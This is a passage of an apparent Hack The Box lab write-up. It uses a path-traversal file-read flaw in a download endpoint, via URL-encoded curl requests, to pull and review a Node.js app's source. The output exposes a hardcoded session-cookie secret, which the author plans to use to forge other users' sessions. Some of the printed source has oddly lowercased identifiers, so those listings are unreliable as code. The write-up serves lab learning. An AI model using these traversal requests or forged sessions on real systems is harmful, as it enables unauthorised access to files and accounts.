Source Code Analysis


As discovered previously, the LFI vulnerability present in the /files/download/ endpoint allows me to read the files in the target system. Here, I will attempt to understand the target web application better by reading the source code.

app.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Fapp.js' >> app.js

I will first download the app.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat app.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

Now the app.js file is locally available for review

Immediately, I see the secret for the download_session cookie. Knowing this would allow me to forge a valid session cookie as other users

The target web application appears to be using Prisma Client. Prisma is an open source next-generation ORM.

Another interesting part is the environment configuration

  • It seems that Nginx is just proxying the target web app running on the loopback address
  • Additionally, this block of code is checking the value of the NODE_ENV environment variable.
    • If the value is “production”, it schedules a task to be executed after a delay of 300,000 milliseconds (5 minutes).
    • The task involves executing a SQL query using the client.$executeRawUnsafe() method and exporting the results to a CSV file at /var/backups/fileusuages.csv

I can also see that there are a few other JS files loaded in here.

middleware/flash.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Fmiddleware%2Fflash.js' >> middleware/flash.js 

Downloading the middleware/flash.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat middleware/flash.js 
"use strict";
object.defineproperty(exports, "__esmodule", { value: true });
exports.default = (req, res, next) => {
    if (!req.session || !req.session.flashes) {
        req.session.flashes = {
            info: [],
            error: [],
            success: [],
        };
    }
    res.flash = (type, message) => {
        req.session.flashes[type].push(message);
    };
    const _render = res.render;
    res.render = function (view, passedOptions) {
        // continue with original render
        const flashes = {
            info: req.session.flashes.info.join("<br/>"),
            error: req.session.flashes.error.join("<br/>"),
            success: req.session.flashes.success.join("<br/>"),
        };
        req.session.flashes = {
            info: [],
            error: [],
            success: [],
        };
        const options = { ...passedoptions, user: req.session?.user, flashes, baseUrl: req.baseUrl };
        _render.call(this, view, options);
    };
    next();
};

This file seems to be responsible for setting up the JSON data within the download_session cookie

routers/auth.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Frouters%2Fauth.js' >> routers/auth.js

Downloading the routers/auth.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat routers/auth.js    
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const zod_1 = __importDefault(require("zod"));
const node_crypto_1 = __importDefault(require("node:crypto"));
const router = express_1.default.Router();
const client = new client_1.PrismaClient();
	const hashPassword = (password) => {
    return node_crypto_1.default.createHash("md5").update(password).digest("hex");
};
const LoginValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.get("/login", (req, res) => {
    res.render("login.njk");
});
router.post("/login", async (req, res) => {
    const result = LoginValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your login details were invalid, please try again.");
        return res.redirect("/auth/login");
    }
    const data = result.data;
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });
    if (!user) {
        res.flash("error", "That username / password combination did not exist.");
        return res.redirect("/auth/register");
    }
    req.session.user = {
        id: user.id,
        username: user.username,
    };
    res.flash("success", "You are now logged in.");
    return res.redirect("/home/");
});
router.get("/register", (req, res) => {
    res.render("register.njk");
});
const RegisterValidator = zod_1.default.object({
    username: zod_1.default.string().min(6).max(64),
    password: zod_1.default.string().min(6).max(64),
});
router.post("/register", async (req, res) => {
    const result = RegisterValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "Your registration details were invalid, please try again.");
        return res.redirect("/auth/register");
    }
    const data = result.data;
    const existingUser = await client.user.findFirst({
        where: { username: data.username },
    });
    if (existingUser) {
        res.flash("error", "There is already a user with that email address or username.");
        return res.redirect("/auth/register");
    }
    await client.user.create({
        data: {
            username: data.username,
            password: hashPassword(data.password),
        },
    });
    res.flash("success", "Your account has been registered.");
    return res.redirect("/auth/login");
});
router.get("/logout", (req, res) => {
    if (req.session)
        req.session.user = null;
    res.flash("success", "You have been successfully logged out.");
    return res.redirect("/auth/login");
});
exports.default = router;

The file is responsible for configuring the authentication of the web application

  • It uses Prisma, which is an open-source database toolkit and Object-Relational Mapping (ORM) library that simplifies database access and management in your backend applications. It is often used in conjunction with frameworks like Express.js to streamline the process of working with databases.
  • It also secures passwords with the MD5 hashing algorythm

routers/files.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Frouters%2Ffiles.js' >> routers/files.js

Downloading the routers/files.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat routers/files.js 
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esmodule) ? mod : { "default": mod };
};
object.defineproperty(exports, "__esmodule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const express_fileupload_1 = __importDefault(require("express-fileupload"));
const auth_1 = __importDefault(require("../middleware/auth"));
const zod_1 = __importDefault(require("zod"));
const promises_1 = __importDefault(require("fs/promises"));
const path_1 = __importDefault(require("path"));
const router = express_1.default.Router();
const client = new client_1.PrismaClient();
const uploadPath = path_1.default.join(__dirname, "..", "uploads");
router.get("/upload", (req, res) => {
    res.render("upload.njk");
});
const UploadValidator = zod_1.default.object({
    private: zod_1.default
        .enum(["true", "false"])
        .transform((value) => value === "true")
        .optional(),
});
router.post("/upload", (0, express_fileupload_1.default)({
    limits: { fileSize: 2.5 * 1024 * 1024 },
}), async (req, res) => {
    if (!req.files || !req.files.file || Array.isArray(req.files.file)) {
        res.flash("error", "Please select a file to upload.");
        return res.redirect("/files/upload");
    }
    const file = req.files.file;
    if (file.truncated) {
        res.flash("error", "There seems to be an issue processing this specific file, please try again later, sorry!");
        return res.redirect("/files/upload");
    }
    const result = UploadValidator.safeParse(req.body);
    if (!result.success) {
        res.flash("error", "There seems to be an issue processing your upload options, please try again later.");
        return res.redirect("/files/upload");
    }
    const fileEntry = await client.file.create({
        data: {
            name: file.name,
            size: file.size,
            authorid: req.session?.user?.id,
            private: req.session?.user ? result.data.private : false,
        },
        select: {
            id: true,
        },
    });
    const filePath = path_1.default.join(uploadPath, fileEntry.id);
    await file.mv(filePath);
    res.flash("success", "Your file was successfully uploaded.");
    return res.redirect(`/files/view/${fileEntry.id}`);
});
router.get("/view/:fileId", async (req, res) => {
    const fileEntry = await client.file.findFirst({
        where: { id: req.params.fileId },
        select: {
            id: true,
            uploadedat: true,
            size: true,
            name: true,
            private: true,
            authorid: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    if (!fileEntry || (fileEntry.private && req.session?.user?.id !== fileEntry.authorId)) {
        res.flash("error", "We could not find this file. It may have been deleted or it has expired.");
        return res.redirect("/files/upload");
    }
    res.render("view.njk", { file: fileEntry });
});
router.get("/download/:fileId", async (req, res) => {
    const fileEntry = await client.file.findFirst({
        where: { id: req.params.fileId },
        select: {
            name: true,
            private: true,
            authorid: true,
        },
    });
    if (fileEntry?.private && req.session?.user?.id !== fileEntry.authorId) {
        return res.status(404);
    }
    return res.download(path_1.default.join(uploadPath, req.params.fileId), fileEntry?.name ?? "Unknown");
});
router.post("/delete/:fileId", auth_1.default, async (req, res) => {
    const fileEntry = await client.file.findFirst({
        where: { id: req.params.fileId },
        select: {
            name: true,
            id: true,
            authorid: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    if (!fileEntry || fileEntry.authorId !== req.session.user.id) {
        res.flash("error", "We could not find this file. It may have been deleted or it has expired.");
        return res.redirect("/home/");
    }
    try {
        await promises_1.default.rm(path_1.default.join(uploadPath, fileEntry.id));
        await client.file.delete({
            where: {
                id: fileEntry.id,
            },
        });
        res.flash("success", "The file was successfully deleted.");
        return res.redirect("/home/");
    }
    catch (err) {
        res.flash("error", "Sorry, something went wrong trying to delete this file. Please try again later.");
        return res.redirect("/home/");
    }
});
exports.default = router;

This file defines how files are handled, such as uploading and deleting. While it seems interesting, it’s not relevant to getting a foothold

However, it’s important to note that the file is loading another file; ../middleware/auth.js

middleware/auth.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Fmiddleware%2Fauth.js' >> middleware/auth.js           

Downloading the middleware/auth.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat middleware/auth.js                                                                   
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.default = (req, res, next) => {
    if (!req.session || !req.session.user) {
        return res.redirect("/auth/login");
    }
    next();
};

Not much going on with this file

routers/home.js


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Frouters%2Fhome.js' >> routers/home.js

Downloading the routers/home.js file

┌──(kali㉿kali)-[~//htb/labs/download/web]
└─$ cat routers/home.js 
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esmodule) ? mod : { "default": mod };
};
object.defineproperty(exports, "__esmodule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const auth_1 = __importDefault(require("../middleware/auth"));
const client = new client_1.PrismaClient();
const router = express_1.default.Router();
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedat: true,
            size: true,
            name: true,
            private: true,
            authorid: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    res.render("home.njk", { files });
});
exports.default = router;

This JavaScript code configures an Express.js route for the home page, utilizing Prisma for database interaction. The route, triggered by a GET request to /, is safeguarded by an “auth” middleware for user authentication. Inside the route handler, it retrieves files specific to the authenticated user, selecting key attributes and related author data. The code employs Nunjucks to render a template, home.njk, with fetched file information, ultimately exporting the Express router for integration within the application.

package.json


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2Fpackage.json' >> package.json 

Fortunately, I was able to get the package.json file from guessing. The package.json file in an Express web app is a default configuration file that defines project details and dependencies.

┌──(kali㉿kali)-[~/…/labs/download/web/sourcecode]
└─$ cat package.json                                                              
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Not Found</pre>
</body>
</html>
{
  "name": "download.htb",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "nodemon --exec ts-node --files ./src/app.ts",
    "build": "tsc"
  },
  "keywords": [],
  "author": "wesley",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
  "devDependencies": {
    "@types/cookie-parser": "^1.4.3",
    "@types/cookie-session": "^2.0.44",
    "@types/express": "^4.17.17",
    "@types/express-fileupload": "^1.4.1",
    "@types/node": "^18.15.12",
    "@types/nunjucks": "^3.2.2",
    "nodemon": "^2.0.22",
    "nunjucks": "^3.2.4",
    "prisma": "^4.13.0",
    "ts-node": "^10.9.1",
    "typescript": "^5.0.4"
  }
}

The whole software stack is listed here. The author is wesley. This could be a valid user